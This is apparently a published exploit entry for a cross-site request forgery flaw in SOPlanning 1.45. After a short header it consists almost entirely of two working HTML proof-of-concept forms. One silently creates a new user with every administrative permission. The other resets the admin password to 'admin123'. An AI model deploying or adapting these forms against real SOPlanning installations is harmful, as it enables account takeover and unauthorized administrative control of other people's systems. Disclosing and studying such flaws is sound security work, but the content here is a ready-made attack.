SOPlanning version 1.45 suffers from a cross site request forgery vulnerability.
3af1b4cdc87e38a4f3a36152f738469c# Exploit Title: SOPlanning 1.45 - Cross-Site Request Forgery (Add User)
# Date: 2020-02-14
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://www.soplanning.org/en/
# Software Link: https://sourceforge.net/projects/soplanning/files/soplanning/
# Version 1.45
# Tested on Windows 10/Kali Rolling
# The SoPlanning 1.45 application is vulnerable to CSRF that allows for arbitrary
# user creation and for changing passwords (Specifically the admin password)
# POC For aribtrary user creation:
# CSRF POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.22.6.208/soplanning/www/process/xajax_server.php" method="POST">
<input type="hidden" name="xajax" value="submitFormUser" />
<input type="hidden" name="xajaxr" value="1581700271752" />
<input type="hidden" name="xajaxargs[]" value="Testing" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="1" />
<input type="hidden" name="xajaxargs[]" value="Testing" />
<input type="hidden" name="xajaxargs[]" value="[email protected]" />
<input type="hidden" name="xajaxargs[]" value="Test" />
<input type="hidden" name="xajaxargs[]" value="test" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="#FFFFFF" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="hidden" name="xajaxargs[]" value="<xjxobj><e><k>0</k><v>users_manage_all</v></e><e><k>1</k><v>projects_manage_all</v></e><e><k>2</k><v>projectgroups_manage_all</v></e><e><k>3</k><v>tasks_modify_all</v></e><e><k>4</k><v>tasks_view_all_projects</v></e><e><k>5</k><v>tasks_view_all_users</v></e><e><k>6</k><v>lieux_all</v></e><e><k>7</k><v>ressources_all</v></e><e><k>8</k><v>audit_restore</v></e><e><k>9</k><v>parameters_all</v></e><e><k>10</k><v>stats_users</v></e><e><k>11</k><v>stats_projects</v></e></xjxobj>" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="<xjxobj></xjxobj>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# POC for admin password change:
# CSRF POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://HOSTNAME/soplanning/www/process/xajax_server.php" method="POST">
<input type="hidden" name="xajax" value="submitFormProfil" />
<input type="hidden" name="xajaxr" value="1581702103306" />
<input type="hidden" name="xajaxargs[]" value="ADM" />
<input type="hidden" name="xajaxargs[]" value="[email protected]" />
<input type="hidden" name="xajaxargs[]" value="admin123" />
<input type="hidden" name="xajaxargs[]" value="fr" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>